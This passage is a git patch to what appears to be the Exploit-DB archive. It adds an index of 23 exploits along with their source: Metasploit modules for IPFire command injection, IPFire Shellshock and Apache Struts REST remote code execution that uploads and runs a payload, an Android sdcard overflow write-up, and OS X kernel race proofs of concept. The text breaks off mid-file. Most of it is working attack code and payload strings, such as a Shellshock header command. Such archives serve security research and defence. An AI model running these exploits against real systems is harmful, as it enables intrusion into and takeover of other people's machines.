From 076ef173f9ed65660144ff61b1578624336fa7f3 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sat, 11 Jun 2016 05:06:22 +0000 Subject: [PATCH] DB: 2016-06-11 23 new exploits Poison Ivy 2.1.x C2 Buffer Overflow (msf) Matrix42 Remote Control Host 3.20.0031 - Unquoted Path Privilege Escalation Dell OpenManage Server Administrator 8.3 - XML External Entity Exploit Mobiketa 1.0 - CSRF Add Admin Exploit miniMySQLAdmin 1.1.3 - CSRF Execute SQL Query phpMyFAQ 2.9.0 - Stored XSS Windows x86 system(_systeminfo_) Shellcode Armadito Antimalware - Backdoor/Bypass Riot Games League of Legends - Insecure File Permissions Privilege Escalation IPFire proxy.cgi RCE IPFire Bash Environment Variable Injection (Shellshock) Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution OS X Kernel - Exploitable NULL Pointer Dereference in nvCommandQueue::GetHandleIndex in GeForce.kext Android - /system/bin/sdcard Stack Buffer Overflow OS X Kernel - Exploitable NULL Pointer Dereference in AppleMuxControl.kext OS X Kernel - Exploitable NULL Pointer Dereference in AppleGraphicsDeviceControl OS X Kernel - Exploitable NULL Dereference in IOAccelSharedUserClient2::page_off_resource OS X Kernel - Exploitable NULL Dereference in CoreCaptureResponder Due to Unchecked Return Value OS X Kernel - Exploitable NULL Pointer Dereference in IOAudioEngine OS X Kernel - OOB Read of Object Pointer Due to Insufficient Checks in Raw Cast to enum Type OS X Kernel - Use-After-Free Due to Bad Locking in IOAcceleratorFamily2 OS X/iOS Kernel - UAF Racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient OS X Kernel - Stack Buffer Overflow in GeForce GPU Driver --- files.csv | 23 +++ platforms/android/dos/39921.txt | 96 +++++++++++ platforms/cgi/remote/39917.rb | 118 ++++++++++++++ platforms/cgi/remote/39918.rb | 112 +++++++++++++ platforms/multiple/dos/39929.c | 133 +++++++++++++++ platforms/multiple/remote/39919.rb | 204 +++++++++++++++++++++++ platforms/osx/dos/39920.c | 182 +++++++++++++++++++++ platforms/osx/dos/39922.c | 182 +++++++++++++++++++++ platforms/osx/dos/39923.c | 186 +++++++++++++++++++++ platforms/osx/dos/39924.c | 184 +++++++++++++++++++++ platforms/osx/dos/39925.c | 172 ++++++++++++++++++++ platforms/osx/dos/39926.c | 249 +++++++++++++++++++++++++++++ platforms/osx/dos/39927.c | 191 ++++++++++++++++++++++ platforms/osx/dos/39928.c | 143 +++++++++++++++++ platforms/osx/dos/39930.c | 155 ++++++++++++++++++ platforms/php/webapps/39911.html | 36 +++++ platforms/php/webapps/39912.html | 31 ++++ platforms/php/webapps/39913.txt | 31 ++++ platforms/win32/shellcode/39914.c | 168 +++++++++++++++++++ platforms/windows/dos/39915.c | 191 ++++++++++++++++++++++ platforms/windows/local/39908.txt | 49 ++++++ platforms/windows/local/39916.txt | 52 ++++++ platforms/windows/remote/39907.rb | 194 ++++++++++++++++++++++ platforms/xml/webapps/39909.rb | 164 +++++++++++++++++++ 24 files changed, 3246 insertions(+) create mode 100755 platforms/android/dos/39921.txt create mode 100755 platforms/cgi/remote/39917.rb create mode 100755 platforms/cgi/remote/39918.rb create mode 100755 platforms/multiple/dos/39929.c create mode 100755 platforms/multiple/remote/39919.rb create mode 100755 platforms/osx/dos/39920.c create mode 100755 platforms/osx/dos/39922.c create mode 100755 platforms/osx/dos/39923.c create mode 100755 platforms/osx/dos/39924.c create mode 100755 platforms/osx/dos/39925.c create mode 100755 platforms/osx/dos/39926.c create mode 100755 platforms/osx/dos/39927.c create mode 100755 platforms/osx/dos/39928.c create mode 100755 platforms/osx/dos/39930.c create mode 100755 platforms/php/webapps/39911.html create mode 100755 platforms/php/webapps/39912.html create mode 100755 platforms/php/webapps/39913.txt create mode 100755 platforms/win32/shellcode/39914.c create mode 100755 platforms/windows/dos/39915.c create mode 100755 platforms/windows/local/39908.txt create mode 100755 platforms/windows/local/39916.txt create mode 100755 platforms/windows/remote/39907.rb create mode 100755 platforms/xml/webapps/39909.rb diff --git a/files.csv b/files.csv index 88215620f..cc0b8457b 100755 --- a/files.csv +++ b/files.csv @@ -36086,3 +36086,26 @@ id,file,description,date,author,platform,type,port 39904,platforms/asp/webapps/39904.txt,"Cisco EPC 3928 - Multiple Vulnerabilities",2016-06-07,"Patryk Bogdan",asp,webapps,0 39905,platforms/php/webapps/39905.txt,"Drale DBTableViewer 100123 - Blind SQL Injection",2016-06-08,HaHwul,php,webapps,80 39906,platforms/multiple/dos/39906.txt,"Microsoft Word (Win/Mac) - Crash PoC",2016-06-09,halsten,multiple,dos,0 +39907,platforms/windows/remote/39907.rb,"Poison Ivy 2.1.x C2 Buffer Overflow (msf)",2016-06-10,"Jos Wetzels",windows,remote,3460 +39908,platforms/windows/local/39908.txt,"Matrix42 Remote Control Host 3.20.0031 - Unquoted Path Privilege Escalation",2016-06-10,"Roland C. Redl",windows,local,0 +39909,platforms/xml/webapps/39909.rb,"Dell OpenManage Server Administrator 8.3 - XML External Entity Exploit",2016-06-10,hantwister,xml,webapps,0 +39911,platforms/php/webapps/39911.html,"Mobiketa 1.0 - CSRF Add Admin Exploit",2016-06-10,"Murat Yilmazlar",php,webapps,80 +39912,platforms/php/webapps/39912.html,"miniMySQLAdmin 1.1.3 - CSRF Execute SQL Query",2016-06-10,HaHwul,php,webapps,80 +39913,platforms/php/webapps/39913.txt,"phpMyFAQ 2.9.0 - Stored XSS",2016-06-10,"Kacper Szurek",php,webapps,80 +39914,platforms/win32/shellcode/39914.c,"Windows x86 system(_systeminfo_) Shellcode",2016-06-10,"Roziul Hasan Khan Shifat",win32,shellcode,0 +39915,platforms/windows/dos/39915.c,"Armadito Antimalware - Backdoor/Bypass",2016-06-10,Ax.,windows,dos,0 +39916,platforms/windows/local/39916.txt,"Riot Games League of Legends - Insecure File Permissions Privilege Escalation",2016-06-10,"Cyril Vallicari",windows,local,0 +39917,platforms/cgi/remote/39917.rb,"IPFire proxy.cgi RCE",2016-06-10,metasploit,cgi,remote,444 +39918,platforms/cgi/remote/39918.rb,"IPFire Bash Environment Variable Injection (Shellshock)",2016-06-10,metasploit,cgi,remote,444 +39919,platforms/multiple/remote/39919.rb,"Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution",2016-06-10,metasploit,multiple,remote,8080 +39920,platforms/osx/dos/39920.c,"OS X Kernel - Exploitable NULL Pointer Dereference in nvCommandQueue::GetHandleIndex in GeForce.kext",2016-06-10,"Google Security Research",osx,dos,0 +39921,platforms/android/dos/39921.txt,"Android - /system/bin/sdcard Stack Buffer Overflow",2016-06-10,"Google Security Research",android,dos,0 +39922,platforms/osx/dos/39922.c,"OS X Kernel - Exploitable NULL Pointer Dereference in AppleMuxControl.kext",2016-06-10,"Google Security Research",osx,dos,0 +39923,platforms/osx/dos/39923.c,"OS X Kernel - Exploitable NULL Pointer Dereference in AppleGraphicsDeviceControl",2016-06-10,"Google Security Research",osx,dos,0 +39924,platforms/osx/dos/39924.c,"OS X Kernel - Exploitable NULL Dereference in IOAccelSharedUserClient2::page_off_resource",2016-06-10,"Google Security Research",osx,dos,0 +39925,platforms/osx/dos/39925.c,"OS X Kernel - Exploitable NULL Dereference in CoreCaptureResponder Due to Unchecked Return Value",2016-06-10,"Google Security Research",osx,dos,0 +39926,platforms/osx/dos/39926.c,"OS X Kernel - Exploitable NULL Pointer Dereference in IOAudioEngine",2016-06-10,"Google Security Research",osx,dos,0 +39927,platforms/osx/dos/39927.c,"OS X Kernel - OOB Read of Object Pointer Due to Insufficient Checks in Raw Cast to enum Type",2016-06-10,"Google Security Research",osx,dos,0 +39928,platforms/osx/dos/39928.c,"OS X Kernel - Use-After-Free Due to Bad Locking in IOAcceleratorFamily2",2016-06-10,"Google Security Research",osx,dos,0 +39929,platforms/multiple/dos/39929.c,"OS X/iOS Kernel - UAF Racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient",2016-06-10,"Google Security Research",multiple,dos,0 +39930,platforms/osx/dos/39930.c,"OS X Kernel - Stack Buffer Overflow in GeForce GPU Driver",2016-06-10,"Google Security Research",osx,dos,0 diff --git a/platforms/android/dos/39921.txt b/platforms/android/dos/39921.txt new file mode 100755 index 000000000..b8e99aaca --- /dev/null +++ b/platforms/android/dos/39921.txt @@ -0,0 +1,96 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=798 + +Android: Stack-buffer-overflow in /system/bin/sdcard + +There's an integer overflow issue in get_node_path_locked, which results in +a buffer overflow. For all of the calling paths, this is going to overflow a +stack buffer in the parent function: + +static ssize_t get_node_path_locked(struct node* node, char* buf, size_t bufsize) { + const char* name; + size_t namelen; + if (node->graft_path) { + name = node->graft_path; + namelen = node->graft_pathlen; + } else if (node->actual_name) { + name = node->actual_name; + namelen = node->namelen; + } else { + name = node->name; + namelen = node->namelen; + } + + // when bufsize == namelen + 1 + if (bufsize < namelen + 1) { + return -1; + } + + ssize_t pathlen = 0; + if (node->parent && node->graft_path == NULL) { + // bufsize - namelen - 2 overflows to SIZE_MAX + pathlen = get_node_path_locked(node->parent, buf, bufsize - namelen - 2); + if (pathlen < 0) { + return -1; + } + buf[pathlen++] = '/'; + } + + memcpy(buf + pathlen, name, namelen + 1); /* include trailing \0 */ + return pathlen + namelen; +} + +This can be triggered by a malicious app creating a directory structure in +/sdcard with a total path length longer than PATH_MAX, which can be achieved by +creating a directory heirarchy starting with several directories with short +names and later renaming these parent directories to have longer names. See the +attached POC, which can be run from the 'untrusted_app' selinux domain. + +It appears that the overflow is close enough to the bottom of the stack that +with a large overflow we can corrupt thread data that is used before the stack +cookie is checked, suggesting that this issue is possibly exploitable despite +the presence of stack cookies. + +(gdb) i r +r0 0xb 11 +r1 0x1 1 +r2 0x41414199 1094795673 +r3 0x41414141 1094795585 +r4 0x80000000 2147483648 +r5 0x0 0 +r6 0xb6e40ec0 3068399296 +r7 0xb6cbe860 3066816608 +r8 0xb6e4930c 3068433164 +r9 0xb6e3c594 3068380564 +r10 0xbee4c9ac 3202664876 +r11 0xb6943180 3063165312 +r12 0xb6e3c908 3068381448 +sp 0xb6cbe7a0 0xb6cbe7a0 +lr 0xb6e1daad -1226712403 +pc 0xb6e06ade 0xb6e06ade +cpsr 0x80070030 -2147024848 +(gdb) x/10i $pc +=> 0xb6e06ade : ldr r4, [r2, #100] ; 0x64 + 0xb6e06ae0 : cmp r4, r1 + 0xb6e06ae2 : bne.n 0xb6e06aec + 0xb6e06ae4 : ldr r0, [r2, #104] ; 0x68 + 0xb6e06ae6 : pop {r4, pc} + 0xb6e06ae8 : movs r0, #0 + 0xb6e06aea : pop {r4, pc} + 0xb6e06aec : adds r0, #12 + 0xb6e06aee : add.w r12, r3, r0, lsl #3 + 0xb6e06af2 : movs r0, #0 +(gdb) bt +#0 0xb6e06ade in pthread_getspecific (key=11) at bionic/libc/bionic/pthread_key.cpp:160 +#1 0xb6e1daac in je_tsd_wrapper_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609 +#2 je_tsd_get () at external/jemalloc/include/jemalloc/internal/tsd.h:609 +#3 je_tsd_fetch () at external/jemalloc/include/jemalloc/internal/tsd.h:614 +#4 imalloc_body (usize=, tsd=, size=4) at external/jemalloc/src/jemalloc.c:1401 +#5 je_malloc (size=4) at external/jemalloc/src/jemalloc.c:1423 +#6 0xb6f3bb3e in handle_open (fuse=0xbee478c8, hdr=0xbee4c984, req=, handler=) + at system/core/sdcard/sdcard.c:1193 +#7 0x41414140 in ?? () + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39921.zip + diff --git a/platforms/cgi/remote/39917.rb b/platforms/cgi/remote/39917.rb new file mode 100755 index 000000000..d0536f402 --- /dev/null +++ b/platforms/cgi/remote/39917.rb @@ -0,0 +1,118 @@ +## +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IPFire proxy.cgi RCE', + 'Description' => %q( + IPFire, a free linux based open source firewall distribution, + version < 2.19 Update Core 101 contains a remote command execution + vulnerability in the proxy.cgi page. + ), + 'Author' => + [ + 'h00die ', # module + 'Yann CAM' # discovery + ], + 'References' => + [ + [ 'EDB', '39765' ], + [ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released'] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Privileged' => false, + 'DefaultOptions' => { 'SSL' => true }, + 'Arch' => [ ARCH_CMD ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl awk openssl' + } + }, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 04 2016' + ) + ) + + register_options( + [ + OptString.new('USERNAME', [ true, 'User to login with', 'admin']), + OptString.new('PASSWORD', [ false, 'Password to login with', '']), + Opt::RPORT(444) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => '/cgi-bin/pakfire.cgi', + 'method' => 'GET' + ) + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200 + /\IPFire (?[\d.]{4}) \([\w]+\) - Core Update (?[\d]+)/ =~ res.body + + if version && update && version == "2.19" && update.to_i < 101 + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def exploit + begin + # To manually view the vuln page, click to proxy.cgi. At the bottom + # select Local, and save. Ignore the error box, at the bottom of + # the page click the button: User Management. + + payload_formatted = "||#{payload.encoded};#" + post_data = "NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}" + post_data << "&NCSA_GROUP=standard" + post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}" + post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}" + post_data << "&SUBMIT=Create+user" + post_data << "&ACTION=Add" + post_data << "&NCSA_MIN_PASS_LEN=6" + + res = send_request_cgi( + 'uri' => '/cgi-bin/proxy.cgi', + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => + { + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi" + }, + 'data' => post_data + ) + + # success means we hang our session, and wont get back a response + if res + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200 + end + + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end +end \ No newline at end of file diff --git a/platforms/cgi/remote/39918.rb b/platforms/cgi/remote/39918.rb new file mode 100755 index 000000000..dc379ca9b --- /dev/null +++ b/platforms/cgi/remote/39918.rb @@ -0,0 +1,112 @@ +## +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IPFire Bash Environment Variable Injection (Shellshock)', + 'Description' => %q( + IPFire, a free linux based open source firewall distribution, + version <= 2.15 Update Core 82 contains an authenticated remote + command execution vulnerability via shellshock in the request headers. + ), + 'Author' => + [ + 'h00die ', # module + 'Claudio Viviani' # discovery + ], + 'References' => + [ + [ 'EDB', '34839' ], + [ 'CVE', '2014-6271'] + ], + 'License' => MSF_LICENSE, + 'Platform' => %w( linux unix ), + 'Privileged' => false, + 'DefaultOptions' => + { + 'SSL' => true, + 'PAYLOAD' => 'cmd/unix/generic' + }, + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic' + } + }, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 29 2014' + ) + ) + + register_options( + [ + OptString.new('USERNAME', [ true, 'User to login with', 'admin']), + OptString.new('PASSWORD', [ false, 'Password to login with', '']), + Opt::RPORT(444) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => '/cgi-bin/index.cgi', + 'method' => 'GET' + ) + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401 + /\IPFire (?[\d.]{4}) \([\w]+\) - Core Update (?[\d]+)/ =~ res.body + + if version && update && version == "2.15" && update.to_i < 83 + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + # + # CVE-2014-6271 + # + def cve_2014_6271(cmd) + %{() { :;}; /bin/bash -c "#{cmd}" } + end + + def exploit + begin + payload = cve_2014_6271(datastore['CMD']) + vprint_status("Exploiting with payload: #{payload}") + res = send_request_cgi( + 'uri' => '/cgi-bin/index.cgi', + 'method' => 'GET', + 'headers' => { 'VULN' => payload } + ) + + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401 + /
  • Device: \/dev\/(?.+) reports/m =~ res.body + print_good(output) unless output.nil? + + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end +end \ No newline at end of file diff --git a/platforms/multiple/dos/39929.c b/platforms/multiple/dos/39929.c new file mode 100755 index 000000000..2721b8c7e --- /dev/null +++ b/platforms/multiple/dos/39929.c @@ -0,0 +1,133 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=732 + +This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace. + +Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and +taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without +taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them +with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty. + +This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object +leading to a nice kernel memory disclosure. + +Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2 +*/ + +//ianbeer + +//build: clang -o hdix_race_get_set hdix_race_get_set.c -framework IOKit -framework Foundation -lpthread + +/* +OS X/iOS kernel UAF racing getProperty on IOHDIXController and testNetBootMethod on IOHDIXControllerUserClient + +This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace. + +Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and +taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without +taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them +with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty. + +This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object +leading to a nice kernel memory disclosure. + +Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2 +*/ + +#include +#include +#include +#include + +#include + +#include + +#include + +#include + +#include +#include +#include + +#include + +unsigned int selector = 0; + +uint64_t inputScalar[16]; +size_t inputScalarCnt = 0; + +uint8_t inputStruct[4096]; +size_t inputStructCnt = 0; + +uint64_t outputScalar[16] = {0}; +uint32_t outputScalarCnt = 0; + +char outputStruct[4096] = {0}; +size_t outputStructCnt = 0; + +io_connect_t global_conn = MACH_PORT_NULL; + +void set_params(io_connect_t conn){ + char* payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; + global_conn = conn; + selector = 4; + inputScalarCnt = 0; + inputStructCnt = strlen(payload)+1; + strcpy((char*)inputStruct, payload); + outputScalarCnt = 0; + outputStructCnt = 0; +} + +void make_iokit_call(){ + IOConnectCallMethod( + global_conn, + selector, + inputScalar, + inputScalarCnt, + inputStruct, + inputStructCnt, + outputScalar, + &outputScalarCnt, + outputStruct, + &outputStructCnt); +} + +OSSpinLock lock = OS_SPINLOCK_INIT; + +void* thread_func(void* arg){ + for(;;) { + int got_it = 0; + while (!got_it) { + got_it = OSSpinLockTry(&lock); + } + + make_iokit_call(); + } + return NULL; +} + +int main(int argc, char** argv){ + kern_return_t err; + OSSpinLockLock(&lock); + + pthread_t t; + pthread_create(&t, NULL, thread_func, NULL); + + mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, + IOServiceMatching("IOHDIXController")); + + mach_port_t conn = MACH_PORT_NULL; + IOServiceOpen(service, mach_task_self(), 0, &conn); + + set_params(conn); + for(;;) { + OSSpinLockUnlock(&lock); + CFTypeRef p = IORegistryEntryCreateCFProperty(service, + CFSTR("di-root-image-result"), + kCFAllocatorDefault, + 0); + } + return 0; +} diff --git a/platforms/multiple/remote/39919.rb b/platforms/multiple/remote/39919.rb new file mode 100755 index 000000000..00b8cf404 --- /dev/null +++ b/platforms/multiple/remote/39919.rb @@ -0,0 +1,204 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution', + 'Description' => %q{ + This module exploits a remote command execution vulnerability in Apache Struts + version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code + Execution can be performed when using REST Plugin with ! operator when + Dynamic Method Invocation is enabled. + }, + 'Author' => [ + 'Nixawk' # original metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-3087' ], + [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ] + ], + 'Platform' => %w{ java linux win }, + 'Privileged' => true, + 'Targets' => + [ + ['Windows Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'win' + } + ], + ['Linux Universal', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ], + [ 'Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + }, + ] + ], + 'DisclosureDate' => 'Jun 01 2016', + 'DefaultTarget' => 2)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']), + OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil]) + ], self.class) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def get_target_platform + target.platform.platforms.first + end + + def temp_path + @TMPPATH ||= lambda { + path = datastore['TMPPATH'] + return nil unless path + + case get_target_platform + when Msf::Module::Platform::Windows + slash = '\\' + when + slash = '/' + else + end + + unless path.end_with?('/') + path << '/' + end + return path + }.call + end + + def send_http_request(payload, params_hash) + uri = normalize_uri(datastore['TARGETURI']) + uri = "#{uri}/#{payload}" + resp = send_request_cgi( + 'uri' => uri, + 'version' => '1.1', + 'method' => 'POST', + 'vars_post' => params_hash + ) + if resp && resp.code == 404 + fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') + end + resp + end + + def generate_rce_payload(code) + payload = "" + payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS") + payload << "," + payload << Rex::Text.uri_encode(code) + payload << "," + payload << Rex::Text.uri_encode("#xx.toString.json") + payload << "?" + payload << Rex::Text.uri_encode("#xx:#request.toString") + payload + end + + def upload_exec(cmd, filename, content) + var_a = rand_text_alpha_lower(4) + var_b = rand_text_alpha_lower(4) + var_c = rand_text_alpha_lower(4) + var_d = rand_text_alpha_lower(4) + var_e = rand_text_alpha_lower(4) + var_f = rand_text_alpha_lower(4) + + code = "##{var_a}=new sun.misc.BASE64Decoder()," + code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0])))," + code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close()," + code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true)," + code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))" + payload = generate_rce_payload(code) + + params_hash = { + var_d => Rex::Text.encode_base64(cmd), + var_e => Rex::Text.encode_base64(filename), + var_f => content + } + send_http_request(payload, params_hash) + end + + def check + var_a = rand_text_alpha_lower(4) + var_b = rand_text_alpha_lower(4) + + addend_one = rand_text_numeric(rand(3) + 1).to_i + addend_two = rand_text_numeric(rand(3) + 1).to_i + sum = addend_one + addend_two + flag = Rex::Text.rand_text_alpha(5) + + code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," + code << "##{var_a}.print(#parameters.#{var_b}[0])," + code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two}))," + code << "##{var_a}.print(#parameters.#{var_b}[0])," + code << "##{var_a}.close()" + + payload = generate_rce_payload(code) + params_hash = { var_b => flag } + + begin + resp = send_http_request(payload, params_hash) + rescue Msf::Exploit::Failed + return Exploit::CheckCode::Unknown + end + + if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}") + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + payload_exe = rand_text_alphanumeric(4 + rand(4)) + case target['Platform'] + when 'java' + payload_exe = "#{temp_path}#{payload_exe}.jar" + pl_exe = payload.encoded_jar.pack + command = "java -jar #{payload_exe}" + when 'linux' + path = datastore['TMPPATH'] || '/tmp/' + pl_exe = generate_payload_exe + payload_exe = "#{path}#{payload_exe}" + command = "/bin/sh -c #{payload_exe}" + when 'win' + path = temp_path || '.\\' + pl_exe = generate_payload_exe + payload_exe = "#{path}#{payload_exe}.exe" + command = "cmd.exe /c #{payload_exe}" + else + fail_with(Failure::NoTarget, 'Unsupported target platform!') + end + + pl_content = pl_exe.unpack('H*').join() + + print_status("Uploading exploit to #{payload_exe}, and executing it.") + upload_exec(command, payload_exe, pl_content) + + handler + end + +end \ No newline at end of file diff --git a/platforms/osx/dos/39920.c b/platforms/osx/dos/39920.c new file mode 100755 index 000000000..706f55aed --- /dev/null +++ b/platforms/osx/dos/39920.c @@ -0,0 +1,182 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=784 + +The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it. + +We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there. + +By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer. + +tested on OS X 10.11.4 (15E65) MacBookPro 10,1 +*/ + +// ianbeer + +// clang -o nv_command_queue_race nv_command_queue_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0 + +/* +OS X exploitable kernel NULL pointer dereference in nvCommandQueue::GetHandleIndex in GeForce.kext + +The method nvCommandQueue::GetHandleIndex doesn't check whether this+0x5b8 is non-null before using it. + +We can race a call to this method this with another thread calling IOServiceClose to get a NULL pointer there. + +By mapping the NULL page in userspace this gives us trivial kernel RIP control as the code makes a virtual call on a NULL object pointer. + +tested on OS X 10.11.4 (15E65) MacBookPro 10,1 +*/ + +#include +#include +#include +#include + +#include + +#include + +#include + +#include + +#include +#include +#include + +unsigned int selector = 0; + +uint64_t inputScalar[16]; +size_t inputScalarCnt = 0; + +uint8_t inputStruct[40960]; +size_t inputStructCnt = 0; + +uint64_t outputScalar[16] = {0}; +uint32_t outputScalarCnt = 0; + +char outputStruct[40960] = {0}; +size_t outputStructCnt = 0; + +io_connect_t global_conn = MACH_PORT_NULL; + +void set_params(io_connect_t conn){ + global_conn = conn; + selector = 0x100; // GetHandleData + inputScalarCnt = 0; + inputStructCnt = 0; + outputScalarCnt = 16; + outputStructCnt = 4096; +} + +void make_iokit_call(){ + IOConnectCallMethod( + global_conn, + selector, + inputScalar, + inputScalarCnt, + inputStruct, + inputStructCnt, + outputScalar, + &outputScalarCnt, + outputStruct, + &outputStructCnt); +} + +OSSpinLock lock = OS_SPINLOCK_INIT; + +void* thread_func(void* arg){ + int got_it = 0; + while (!got_it) { + got_it = OSSpinLockTry(&lock); + } + + // usleep(1); + + make_iokit_call(); + OSSpinLockUnlock(&lock); + return NULL; +} + +mach_port_t get_user_client(char* name, int type) { + kern_return_t err; + + CFMutableDictionaryRef matching = IOServiceMatching(name); + if(!matching){ + printf("unable to create service matching dictionary\n"); + return 0; + } + + io_iterator_t iterator; + err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); + if (err != KERN_SUCCESS){ + printf("no matches\n"); + return 0; + } + + io_service_t service = IOIteratorNext(iterator); + + if (service == IO_OBJECT_NULL){ + printf("unable to find service\n"); + return 0; + } + printf("got service: %x\n", service); + + + io_connect_t conn = MACH_PORT_NULL; + err = IOServiceOpen(service, mach_task_self(), type, &conn); + if (err != KERN_SUCCESS){ + printf("unable to get user client connection\n"); + return 0; + } + + printf("got 